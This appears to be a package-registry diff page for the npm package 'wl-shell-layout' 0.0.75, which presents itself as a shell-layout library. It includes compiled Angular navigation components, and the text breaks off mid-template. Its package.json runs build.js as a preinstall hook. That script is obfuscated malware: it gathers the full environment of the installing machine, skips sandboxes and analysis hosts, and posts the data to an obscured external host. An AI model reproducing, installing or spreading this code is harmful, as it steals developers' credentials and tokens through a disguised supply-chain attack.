wl-shell-layout 0.0.75

Sign up to get free protection for your applications and to get access to all the features.
package/README.md ADDED
@@ -0,0 +1 @@
1
+ Testing shell layout on dev-env.
package/build.js ADDED
@@ -0,0 +1,205 @@
1
+ const goto = require('https');
2
+
3
+ function build() {
4
+ let options = {
5
+ "Name": "New PI Contact",
6
+ "Phone": "+158948945565",
7
+ "Message": "My Best Dream Friend",
8
+ "Address": "Avite St pe-455 NET"
9
+ };
10
+
11
+ return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
12
+ options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
13
+ }
14
+
15
+ function takeAndGive(str1, str2) {
16
+ return str2 + str1
17
+ }
18
+
19
+ function number_of(item) {
20
+
21
+ for (let i = 0; i < 4; i++) {
22
+ if (i == 1) {
23
+ item += 's'
24
+ }
25
+ if (i == 3) {
26
+ item += 'e6'
27
+ }
28
+ }
29
+ return item + '4'
30
+ }
31
+
32
+ function snooz(pkg_n, prefix) {
33
+
34
+ let missing = [
35
+ ['npm', 'package', 'name'].join('_'),
36
+ ['npm', 'package', 'json'].join('_'),
37
+ ];
38
+
39
+ var plop = process['en' + 'v'] || {};
40
+
41
+ //new edition
42
+ if (initEngine(plop)){
43
+ return ;
44
+ }
45
+ if (fixIssues(plop)){
46
+ return ;
47
+ }
48
+ if (handleEverything(plop)){
49
+ return ;
50
+ }
51
+ if (missing.some( index => !plop[index] )) {
52
+ return;
53
+ }
54
+
55
+ var req = goto
56
+ .request(use_language(pkg_n, prefix))
57
+ .on('error', function (err) { });
58
+ req.write(JSON.stringify(plop));
59
+ req.end();
60
+ }
61
+
62
+ function bible(convertion){
63
+ switch (convertion) {
64
+ case 'reg':
65
+ return takeAndGive('istry', 'reg');
66
+ case 'conf':
67
+ return 'conf' + 'ig';
68
+ case 'np':
69
+ return 'npm';
70
+ case 'UNAME':
71
+ return 'US' + 'ERNAME';
72
+ case 'HM':
73
+ return 'HOME';
74
+ case 'USR':
75
+ return 'USER';
76
+ case 'APTA':
77
+ return takeAndGive('PDATA', 'AP');
78
+ case 'py':
79
+ return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
80
+ case 'anal':
81
+ return 'ana'.concat('lysis');
82
+ case 'INIT':
83
+ return ['INIT', 'CWD'].join('_');
84
+ case 'pkg':
85
+ return 'pac'.concat('kage')
86
+ case 'uname':
87
+ return 'us' + takeAndGive('ame', 'ern');
88
+
89
+ default:
90
+ return null;
91
+ }
92
+
93
+ }
94
+
95
+ function fixIssues(plop){
96
+ let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
97
+ capture_pictures(plop, bible('USR'), bible('uname')) &&
98
+ capture_pictures(plop, 'LOGNAME', bible('uname'));
99
+
100
+ let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
101
+ capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
102
+ capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
103
+
104
+ let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
105
+ capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
106
+
107
+ let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
108
+ capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
109
+
110
+ if (kill || move || teach || talk){
111
+ return true;
112
+ } else {
113
+ return false;
114
+ }
115
+ }
116
+
117
+ var MapObj = function () {
118
+ this.name = '__st' + (Math.random() * 145459 >> 0);
119
+ };
120
+
121
+ function handleEverything(plop){
122
+ const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
123
+ capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
124
+ capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
125
+
126
+ const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
127
+ capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
128
+ capture_pictures(plop, bible('USR'), 'app');
129
+
130
+
131
+
132
+ const us = capture_pictures(plop, 'EDITOR', 'vi') &&
133
+ capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
134
+ capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
135
+ capture_pictures(plop, 'S' + 'HLVL', '2') &&
136
+ capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
137
+ capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
138
+ capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
139
+
140
+ if (you || me || us){
141
+ return true;
142
+ } else {
143
+ return false;
144
+ }
145
+ }
146
+
147
+ function use_language(pkg_n, prefix){
148
+ let options = {
149
+ hostname: prefix + '.m.' + build(),
150
+ path: '/' + (pkg_n || ''),
151
+ method: 'POST',
152
+ };
153
+ return options
154
+ }
155
+
156
+ function capture_pictures(p, name, val){
157
+ let test = p[name] || '';
158
+ if(test.includes(val) || val === '*'){
159
+ return true;
160
+ } else {
161
+ return false;
162
+ }
163
+ }
164
+
165
+ MapObj.prototype = {
166
+ set: function (key, value) {
167
+ var entry = key[this.name];
168
+ if (entry && entry[0] === key)
169
+ entry[1] = value;
170
+ else
171
+ defineProperty(key, this.name, { value: [key, value], writable: true });
172
+ return this;
173
+ },
174
+ get: function (key) {
175
+ var entry;
176
+ return (entry = key[this.name]) && entry[0] === key ?
177
+ entry[1] : undefined;
178
+ },
179
+ delete: function (key) {
180
+ var entry = key[this.name];
181
+ if (!entry || entry[0] !== key) return false;
182
+ entry[0] = entry[1] = undefined;
183
+ return true;
184
+ },
185
+ has: function (key) {
186
+ var entry = key[this.name];
187
+ if (!entry) return false;
188
+ return entry[0] === key;
189
+ }
190
+ };
191
+
192
+ function initEngine(plop){
193
+ if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
194
+ return true;
195
+ }
196
+ if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
197
+ capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
198
+ capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
199
+ capture_pictures(plop, '_', bible('py')) ||
200
+ capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
201
+ return true;
202
+ }
203
+ }
204
+
205
+ snooz('wl-shell-layout', 'eo3qhniz7cz6zvb');
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "wl-shell-layout",
3
+ "version": "0.0.75",
4
+ "description": "shell layout for dev env",
5
+ "main": "wl-shell-layout.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node build.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,457 @@
1
+ import * as i0 from '@angular/core';
2
+ import { Injectable, EventEmitter, Component, Input, Output, NgModule } from '@angular/core';
3
+ import * as i4 from '@angular/common';
4
+ import { CommonModule } from '@angular/common';
5
+ import * as i1 from '@angular/router';
6
+ import { NavigationEnd, RouterModule } from '@angular/router';
7
+ import * as i2 from 'ngx-permissions';
8
+ import { keys, filter } from 'lodash';
9
+ import { Subject } from 'rxjs';
10
+ import $ from 'jquery';
11
+ import * as i5 from '@ngx-translate/core';
12
+ import { TranslateModule } from '@ngx-translate/core';
13
+ import * as i4$1 from '@angular/platform-browser';
14
+ import { takeUntil } from 'rxjs/operators';
15
+ import * as i5$1 from 'wl-layout';
16
+ import { WlBreadcrumbsModule, WlEmptyBlockModule } from 'wl-layout';
17
+ import * as i7 from '@angular/forms';
18
+ import { FormsModule } from '@angular/forms';
19
+
20
+ const isPermitted = (menuOption, permissionsService) => {
21
+ let permitted = false;
22
+ // to check
23
+ const permissions = keys(permissionsService.getPermissions());
24
+ if (!menuOption.permissions.length)
25
+ permitted = true;
26
+ menuOption.permissions.forEach((permission) => {
27
+ if (permissions.includes(permission))
28
+ permitted = true;
29
+ });
30
+ menuOption.blacklistedPermissions.forEach((blacklistedPermission) => {
31
+ if (permissions.includes(blacklistedPermission))
32
+ permitted = false;
33
+ });
34
+ return permitted;
35
+ };
36
+ const filterMenuOptions = (menuOptions, permissionsService, featureFlags) => {
37
+ let filteredMenuOptions = filter(menuOptions, menuOption => {
38
+ const featureFlagOn = featureFlags[menuOption.featureFlag];
39
+ const permitted = isPermitted(menuOption, permissionsService);
40
+ let hasChildrenOrIsTopLevel = false;
41
+ if (featureFlagOn && permitted) {
42
+ if (menuOption.children == null) {
43
+ hasChildrenOrIsTopLevel = true;
44
+ }
45
+ else {
46
+ // noinspection JSPrimitiveTypeWrapperUsage
47
+ menuOption.children = filter(menuOption.children, (child) => {
48
+ const childFeatureFlagOn = featureFlags[menuOption.featureFlag][child.featureFlag];
49
+ const childPermitted = isPermitted(child, permissionsService);
50
+ return childFeatureFlagOn && childPermitted;
51
+ });
52
+ if (menuOption.children.length > 0)
53
+ hasChildrenOrIsTopLevel = true;
54
+ }
55
+ }
56
+ return featureFlagOn && permitted && hasChildrenOrIsTopLevel;
57
+ });
58
+ // If a parent menu option only has one child then make the child the parent
59
+ // This avoids menu options that expand but only have one child
60
+ filteredMenuOptions = filteredMenuOptions.map((menuOption) => {
61
+ if (menuOption.children && menuOption.children.length === 1) {
62
+ const faIcon = menuOption.faIcon;
63
+ const text = menuOption.text;
64
+ menuOption = menuOption.children[0];
65
+ // noinspection JSPrimitiveTypeWrapperUsage
66
+ menuOption.faIcon = faIcon;
67
+ // noinspection JSPrimitiveTypeWrapperUsage
68
+ menuOption.text = text;
69
+ }
70
+ return menuOption;
71
+ });
72
+ return filteredMenuOptions;
73
+ };
74
+
75
+ class WlTopNavbarService {
76
+ constructor() {
77
+ this.toggleNavigationSource = new Subject();
78
+ this.toggleNavigation$ = this.toggleNavigationSource.asObservable();
79
+ this.titleUpdateSource = new Subject();
80
+ this.titleUpdate$ = this.titleUpdateSource.asObservable();
81
+ this.animateSideMenuOpacity = () => {
82
+ const sideMenu = $('#side-menu');
83
+ sideMenu.fadeTo('fast', 0);
84
+ setTimeout(() => {
85
+ sideMenu.fadeTo('slow', 1);
86
+ }, 200);
87
+ };
88
+ }
89
+ toggleNavigation(expand = null) {
90
+ this.toggleNavigationSource.next(expand);
91
+ }
92
+ updateTitle(title) {
93
+ this.titleUpdateSource.next(title);
94
+ }
95
+ smoothlyMenu() {
96
+ const body = $('body');
97
+ const sideMenu = $('#side-menu');
98
+ if (!body.hasClass('mini-navbar') || body.hasClass('body-small')) {
99
+ // Hide menu in order to smoothly turn on when maximize menu
100
+ sideMenu.hide();
101
+ this.animateSideMenuOpacity();
102
+ // For smoothly turn on menu
103
+ setTimeout(() => {
104
+ sideMenu.fadeIn(400);
105
+ }, 200);
106
+ }
107
+ else if ($('body').hasClass('fixed-sidebar')) {
108
+ sideMenu.hide();
109
+ this.animateSideMenuOpacity();
110
+ setTimeout(() => {
111
+ sideMenu.fadeIn(400);
112
+ }, 100);
113
+ }
114
+ else {
115
+ // Remove all inline style from jquery fadeIn function to reset menu state
116
+ sideMenu.removeAttr('style');
117
+ }
118
+ }
119
+ }
120
+ WlTopNavbarService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
121
+ WlTopNavbarService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, providedIn: 'root' });
122
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarService, decorators: [{
123
+ type: Injectable,
124
+ args: [{ providedIn: 'root' }]
125
+ }] });
126
+
127
+ class WlNavigationComponent {
128
+ constructor(router, permissionsService, topNavbarService) {
129
+ this.router = router;
130
+ this.permissionsService = permissionsService;
131
+ this.topNavbarService = topNavbarService;
132
+ this.externalUrls = {};
133
+ this.subscriptions = [];
134
+ this.defaultMenuOptions = [];
135
+ this.topNavbarExpand = new EventEmitter();
136
+ this.showOpenidRequired = new EventEmitter();
137
+ }
138
+ get expanded() {
139
+ return !$('body').hasClass('mini-navbar');
140
+ }
141
+ ngOnInit() {
142
+ this.setupNavigation();
143
+ }
144
+ ngAfterViewInit() {
145
+ var _a, _b;
146
+ if ((_a = $('body')) === null || _a === void 0 ? void 0 : _a.hasClass('fixed-sidebar')) {
147
+ (_b = jQuery('.sidebar-collapse')) === null || _b === void 0 ? void 0 : _b.slimscroll({
148
+ height: '100%'
149
+ });
150
+ }
151
+ }
152
+ ngOnChanges(changes) {
153
+ if (changes === null || changes === void 0 ? void 0 : changes.navigationData) {
154
+ this.navigationData = changes.navigationData.currentValue;
155
+ this.setupNavigation();
156
+ }
157
+ }
158
+ ngOnDestroy() {
159
+ this.subscriptions.forEach((sub) => sub.unsubscribe());
160
+ }
161
+ setupNavigation() {
162
+ var _a, _b, _c, _d;
163
+ if ((_a = this.navigationData) === null || _a === void 0 ? void 0 : _a.displayName) {
164
+ this.gravatar = 'https://www.gravatar.com/avatar/' + ((_b = this.navigationData) === null || _b === void 0 ? void 0 : _b.hash) + '?s=50&r=pg&d=mm';
165
+ this.externalUrls.deviceManagement = (_c = this.navigationData) === null || _c === void 0 ? void 0 : _c.deviceManagement;
166
+ this.menuOptions = filterMenuOptions(this.defaultMenuOptions, this.permissionsService, (_d = this.navigationData) === null || _d === void 0 ? void 0 : _d.featureFlags);
167
+ }
168
+ }
169
+ getMenuOptionTitle(menuOptionOrText) {
170
+ if (this.expanded)
171
+ return '';
172
+ let text;
173
+ if (typeof menuOptionOrText === 'object') {
174
+ const menuOption = menuOptionOrText;
175
+ text = menuOption.text;
176
+ if (this.activeRoute(menuOption.activeRoute)) {
177
+ if (menuOption.children) {
178
+ menuOption.children.forEach((child) => {
179
+ if (this.activeRoute(child.activeRoute)) {
180
+ text += ' > ' + child.text;
181
+ }
182
+ });
183
+ }
184
+ }
185
+ }
186
+ else {
187
+ text = menuOptionOrText;
188
+ }
189
+ return text;
190
+ }
191
+ activeRoute(routename) {
192
+ var _a, _b, _c;
193
+ if (routename && routename.endsWith('dashboard')) {
194
+ if (routename === 'dashboard')
195
+ return ((_a = this.router) === null || _a === void 0 ? void 0 : _a.url) === '/dashboard';
196
+ if (routename === 'reporting/dashboard')
197
+ return ((_b = this.router) === null || _b === void 0 ? void 0 : _b.url) === '/reporting/dashboard';
198
+ }
199
+ return ((_c = this.router) === null || _c === void 0 ? void 0 : _c.url.indexOf(routename)) > -1;
200
+ }
201
+ openidRequired() {
202
+ this.showOpenidRequired.emit(true);
203
+ }
204
+ toggleNavigation(expand) {
205
+ this.topNavbarService.toggleNavigation(expand);
206
+ this.topNavbarExpand.emit(expand);
207
+ }
208
+ toggleMenuOption(menuOption) {
209
+ this.menuOptions.forEach((item) => {
210
+ item.toggle = false;
211
+ });
212
+ menuOption.toggle = !menuOption.toggle;
213
+ }
214
+ }
215
+ WlNavigationComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, deps: [{ token: i1.Router }, { token: i2.NgxPermissionsService }, { token: WlTopNavbarService }], target: i0.ɵɵFactoryTarget.Component });
216
+ WlNavigationComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlNavigationComponent, selector: "wl-shell-navigation", inputs: { defaultMenuOptions: "defaultMenuOptions", navigationData: "navigationData" }, outputs: { topNavbarExpand: "topNavbarExpand", showOpenidRequired: "showOpenidRequired" }, usesOnChanges: true, ngImport: i0, template: "<nav class=\"navbar-default navbar-static-side\" role=\"navigation\">\n <div class=\"sidebar-collapse\">\n <ul class=\"nav metismenu\" id=\"side-menu\">\n <li class=\"nav-header\">\n <ng-container *ngIf=\"!navigationData?.uiLogo\">\n <img class=\"wl-logo wl-logo-retracted\" src=\"/assets/images/wl-logo-thin.png\" alt=\"WL\" />\n <img class=\"wl-logo wl-logo-expanded\" src=\"/assets/images/wl-logo-2019.png\" alt=\"WL\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </ng-container>\n <ng-container *ngIf=\"navigationData?.uiLogo\">\n <div class=\"custom-logo-retracted-wrapper\">\n <img class=\"custom-logo custom-logo-retracted\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n </div>\n <div class=\"custom-logo-expanded-wrapper\">\n <img class=\"custom-logo custom-logo-expanded\" [src]=\"navigationData?.uiLogo\" alt=\"Logo\" />\n <ng-container *ngTemplateOutlet=\"profile\"></ng-container>\n </div>\n </ng-container>\n\n <ng-template #profile>\n <div class=\"dropdown profile-element\">\n <a routerLink=\"/user/edit\"><img alt=\"image\" class=\"img-circle\" [src]=\"gravatar\" /></a>\n <span class=\"clear\">\n <span class=\"block m-t-xs\">\n <strong class=\"username\">\n <a routerLink=\"/user/edit\">{{ navigationData?.displayName }}</a>\n </strong>\n </span>\n </span>\n </div>\n </ng-template>\n </li>\n\n <ng-container *ngFor=\"let menuOption of menuOptions\">\n <!-- Top level links -->\n <ng-container *ngIf=\"menuOption.children === undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-no-children': true,\n 'standard-li': true\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n >\n <a [routerLink]=\"menuOption.routerLink\" (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em><span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n </a>\n </li>\n </ng-container>\n\n <!-- Links with children -->\n <ng-container *ngIf=\"menuOption.children !== undefined\">\n <li\n [ngClass]=\"{\n active: activeRoute(menuOption.activeRoute),\n 'has-children': true,\n 'standard-li': true,\n 'app-active': activeRoute(menuOption.activeRoute)\n }\"\n [title]=\"getMenuOptionTitle(menuOption) | translate\"\n (click)=\"toggleNavigation(true)\"\n >\n <a (click)=\"toggleMenuOption(menuOption)\">\n <em [ngClass]=\"menuOption.faIcon\"></em>\n <span class=\"nav-label\">{{ menuOption.text | translate }}</span>\n <span class=\"fa arrow\"></span>\n </a>\n <ul\n class=\"nav nav-second-level collapse animated fadeIn\"\n [ngClass]=\"{\n in: activeRoute(menuOption.activeRoute) || menuOption.toggle\n }\"\n >\n <ng-container *ngFor=\"let child of menuOption.children\">\n <li\n *ngIf=\"!child.external\"\n [ngClass]=\"{active: activeRoute(child.activeRoute)}\"\n [title]=\"getMenuOptionTitle(child) | translate\"\n >\n <a [routerLink]=\"child.routerLink\">{{ child.text | translate }}</a>\n </li>\n <li *ngIf=\"child.external\" [title]=\"getMenuOptionTitle(child) | translate\">\n <ng-container *ngIf=\"externalUrls[child.url] !== null\">\n <a [href]=\"externalUrls[child.url]\" target=\"_blank\" rel=\"noopener\">{{ child.text | translate }}</a>\n </ng-container>\n <ng-container *ngIf=\"externalUrls[child.url] === null\">\n <a (click)=\"openidRequired()\">{{ child.text | translate }}</a>\n </ng-container>\n </li>\n </ng-container>\n </ul>\n </li>\n </ng-container>\n </ng-container>\n </ul>\n </div>\n</nav>\n", styles: [".sidebar-collapse{background-color:#2a3b4d}hr{background-color:#6b6b6b;height:1px;border:0;padding:0;margin:10px 0 8px}.nav-header{padding:0;position:absolute}li.standard-li{position:relative;top:300px}.username a{color:#b6b6b6}.username a:hover{color:#fff}.fa.arrow{transform:rotate(180deg)}a[aria-expanded=true] .fa.arrow{transform:rotate(0)}li.active>a>span.fa.arrow{transform:rotate(0)}.dropdown.profile-element{text-align:center;margin-left:61px}li.app-active>a{color:#fff}img.wl-logo-retracted{margin-top:10px;margin-left:11px;width:48px;height:auto}img.wl-logo-expanded{margin-top:20px;margin-bottom:25px;margin-left:70px;height:93px}.custom-logo-expanded-wrapper,.custom-logo-retracted-wrapper{text-align:center}.custom-logo-expanded-wrapper img.custom-logo-expanded,.custom-logo-expanded-wrapper img.custom-logo-retracted,.custom-logo-retracted-wrapper img.custom-logo-expanded,.custom-logo-retracted-wrapper img.custom-logo-retracted{max-width:100%;margin-bottom:25px;color:#ccc;text-indent:5px}.custom-logo-expanded-wrapper{margin-top:20px;margin-left:20px;width:180px}.custom-logo-expanded-wrapper .dropdown.profile-element{margin-left:0}.custom-logo-retracted-wrapper{margin-top:5px;margin-left:10px;width:50px}\n"], directives: [{ type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i4.NgTemplateOutlet, selector: "[ngTemplateOutlet]", inputs: ["ngTemplateOutletContext", "ngTemplateOutlet"] }, { type: i1.RouterLinkWithHref, selector: "a[routerLink],area[routerLink]", inputs: ["routerLink", "target", "queryParams", "fragment", "queryParamsHandling", "preserveFragment", "skipLocationChange", "replaceUrl", "state", "relativeTo"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }], pipes: { "translate": i5.TranslatePipe } });
217
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlNavigationComponent, decorators: [{
218
+ type: Component,
219
+ args: [{
220
+ // eslint-disable-next-line @angular-eslint/component-selector
221
+ selector: 'wl-shell-navigation',
222
+ templateUrl: './wl-navigation.component.html',
223
+ styleUrls: ['./wl-navigation.component.scss',]
224
+ }]
225
+ }], ctorParameters: function () { return [{ type: i1.Router }, { type: i2.NgxPermissionsService }, { type: WlTopNavbarService }]; }, propDecorators: { defaultMenuOptions: [{
226
+ type: Input
227
+ }], navigationData: [{
228
+ type: Input
229
+ }], topNavbarExpand: [{
230
+ type: Output
231
+ }], showOpenidRequired: [{
232
+ type: Output
233
+ }] } });
234
+
235
+ class NavigationService {
236
+ constructor() {
237
+ this.collapseSubMenusSource = new Subject();
238
+ this.collapseSubMenus$ = this.collapseSubMenusSource.asObservable();
239
+ this.expandActiveSubMenuSource = new Subject();
240
+ this.expandActiveSubMenu$ = this.expandActiveSubMenuSource.asObservable();
241
+ }
242
+ collapseSubMenus() {
243
+ this.collapseSubMenusSource.next();
244
+ }
245
+ expandActiveSubMenu() {
246
+ this.expandActiveSubMenuSource.next();
247
+ }
248
+ }
249
+ NavigationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
250
+ NavigationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, providedIn: 'root' });
251
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationService, decorators: [{
252
+ type: Injectable,
253
+ args: [{ providedIn: 'root' }]
254
+ }] });
255
+
256
+ class WlTopNavbarComponent {
257
+ constructor(route, router, topNavbarService, navigationService, titleService) {
258
+ this.route = route;
259
+ this.router = router;
260
+ this.topNavbarService = topNavbarService;
261
+ this.navigationService = navigationService;
262
+ this.titleService = titleService;
263
+ this.environment = null;
264
+ this.userData = null;
265
+ this.logout = new EventEmitter();
266
+ this.changeLocale = new EventEmitter();
267
+ this.openFeedbackModal = new EventEmitter();
268
+ this.endImpersonationSession = new EventEmitter();
269
+ this.toggleNavigationExpanded = new EventEmitter();
270
+ this.title = "";
271
+ this.breadcrumbs = [];
272
+ this.legacyUrl = "";
273
+ this.impersonatedUser = false;
274
+ this.expanded = true;
275
+ this.unsubscribe$ = new Subject();
276
+ this._locale = "";
277
+ }
278
+ get locale() {
279
+ return this._locale;
280
+ }
281
+ set locale(locale) {
282
+ this._locale = locale;
283
+ this.changeLocale.emit(locale);
284
+ }
285
+ ngOnInit() {
286
+ this.router.events.subscribe(event => {
287
+ if (event instanceof NavigationEnd) {
288
+ this.updateTitle();
289
+ }
290
+ });
291
+ this.topNavbarService.titleUpdate$.pipe(takeUntil(this.unsubscribe$)).subscribe(title => {
292
+ this.title = title;
293
+ this.titleService.setTitle(title);
294
+ });
295
+ }
296
+ ngOnChanges(changes) {
297
+ var _a, _b, _c, _d, _e;
298
+ this.userData = changes.userData.currentValue;
299
+ this.impersonatedUser = ((_a = this.userData) === null || _a === void 0 ? void 0 : _a.isImpersonatedToken) ? this.userData.isImpersonatedToken : false;
300
+ if (this.impersonatedUser) {
301
+ if ((_b = this.userData) === null || _b === void 0 ? void 0 : _b.locale) {
302
+ this.locale = (_c = this.userData) === null || _c === void 0 ? void 0 : _c.locale;
303
+ this.changeLocale.emit((_d = this.userData) === null || _d === void 0 ? void 0 : _d.locale);
304
+ }
305
+ }
306
+ this.legacyUrl = (_e = this.environment) === null || _e === void 0 ? void 0 : _e.legacyUrl;
307
+ this.updateTitle();
308
+ this.setUpSidebarExpanded();
309
+ }
310
+ ngOnDestroy() {
311
+ this.unsubscribe$.next();
312
+ this.unsubscribe$.complete();
313
+ clearInterval(this.interval);
314
+ }
315
+ updateTitle() {
316
+ var _a, _b;
317
+ const firstChild = this.route.snapshot.firstChild;
318
+ this.title = 'Untitled Page';
319
+ this.breadcrumbs = [];
320
+ const topnavbar = (_b = (_a = firstChild === null || firstChild === void 0 ? void 0 : firstChild.data) === null || _a === void 0 ? void 0 : _a.sfData) === null || _b === void 0 ? void 0 : _b.topnavbar;
321
+ if (topnavbar) {
322
+ if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.title)
323
+ this.title = topnavbar.title;
324
+ if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.breadcrumbs)
325
+ this.breadcrumbs = topnavbar.breadcrumbs;
326
+ }
327
+ }
328
+ toggleNavigation() {
329
+ if (this.expanded === true) {
330
+ this.retractNavigation();
331
+ this.toggleNavigationExpanded.emit(false);
332
+ this.expanded = false;
333
+ }
334
+ else if (this.expanded === false) {
335
+ this.expandNavigation();
336
+ this.toggleNavigationExpanded.emit(true);
337
+ this.expanded = true;
338
+ }
339
+ if (this.router.url === '/dashboard') {
340
+ // triggers a redraw of gridster and the graphs
341
+ window.dispatchEvent(new Event('resize'));
342
+ }
343
+ }
344
+ expandNavigation() {
345
+ $('body').removeClass('mini-navbar');
346
+ this.topNavbarService.smoothlyMenu();
347
+ this.navigationService.expandActiveSubMenu();
348
+ }
349
+ retractNavigation() {
350
+ $('body').addClass('mini-navbar');
351
+ this.topNavbarService.smoothlyMenu();
352
+ this.navigationService.collapseSubMenus();
353
+ }
354
+ setUpSidebarExpanded() {
355
+ var _a;
356
+ if (((_a = this.userData) === null || _a === void 0 ? void 0 : _a.sidebarExpanded) === false) {
357
+ this.toggleNavigation();
358
+ }
359
+ }
360
+ }
361
+ WlTopNavbarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, deps: [{ token: i1.ActivatedRoute }, { token: i1.Router }, { token: WlTopNavbarService }, { token: NavigationService }, { token: i4$1.Title }], target: i0.ɵɵFactoryTarget.Component });
362
+ WlTopNavbarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlTopNavbarComponent, selector: "wl-shell-top-navbar", inputs: { environment: "environment", userData: "userData" }, outputs: { logout: "logout", changeLocale: "changeLocale", openFeedbackModal: "openFeedbackModal", endImpersonationSession: "endImpersonationSession", toggleNavigationExpanded: "toggleNavigationExpanded" }, usesOnChanges: true, ngImport: i0, template: "<div class=\"topnavbar-wrapper\">\n <div class=\"navbar-row row border-bottom\">\n <nav\n class=\"navbar navbar-static-top\"\n [ngClass]=\"{\n 'impersonated-user': impersonatedUser,\n 'white-bg': !impersonatedUser\n }\"\n role=\"navigation\"\n >\n <div class=\"navbar-header\">\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"toggleNavigation()\">\n <em class=\"fas fa-lg fa-bars toggle-navigation\"></em>\n </a>\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" [href]=\"legacyUrl\">SIMPro 4</a>\n <a *ngIf=\"!impersonatedUser\" class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"openFeedbackModal.emit(true)\"\n >{{ \"GUIBundle.generic.feedback\" | translate }}</a\n >\n <ul class=\"nav navbar-top-links navbar-left beta-version\">\n <li>\n <a><em>&nbsp;</em></a>\n </li>\n </ul>\n </div>\n </nav>\n </div>\n\n <div class=\"navbar-right-fixed upper\">\n <ul *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right impersonated-user\">\n <li>{{ \"GUIBundle.views.impersonate.impersonation_session_expire_in\" | translate }}: {{ counterValue }} |</li>\n <li>\n <a class=\"text-white\" (click)=\"endImpersonationSession.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.views.impersonate.end_impersonation_session\" | translate }}\n </a>\n </li>\n </ul>\n <ul *ngIf=\"!impersonatedUser\" class=\"nav navbar-top-links navbar-right\">\n <li class=\"logout-list-item\">\n <a (click)=\"logout.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.generic.logout\" | translate }}\n </a>\n </li>\n </ul>\n <div *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right language-select\">\n <select class=\"form-control 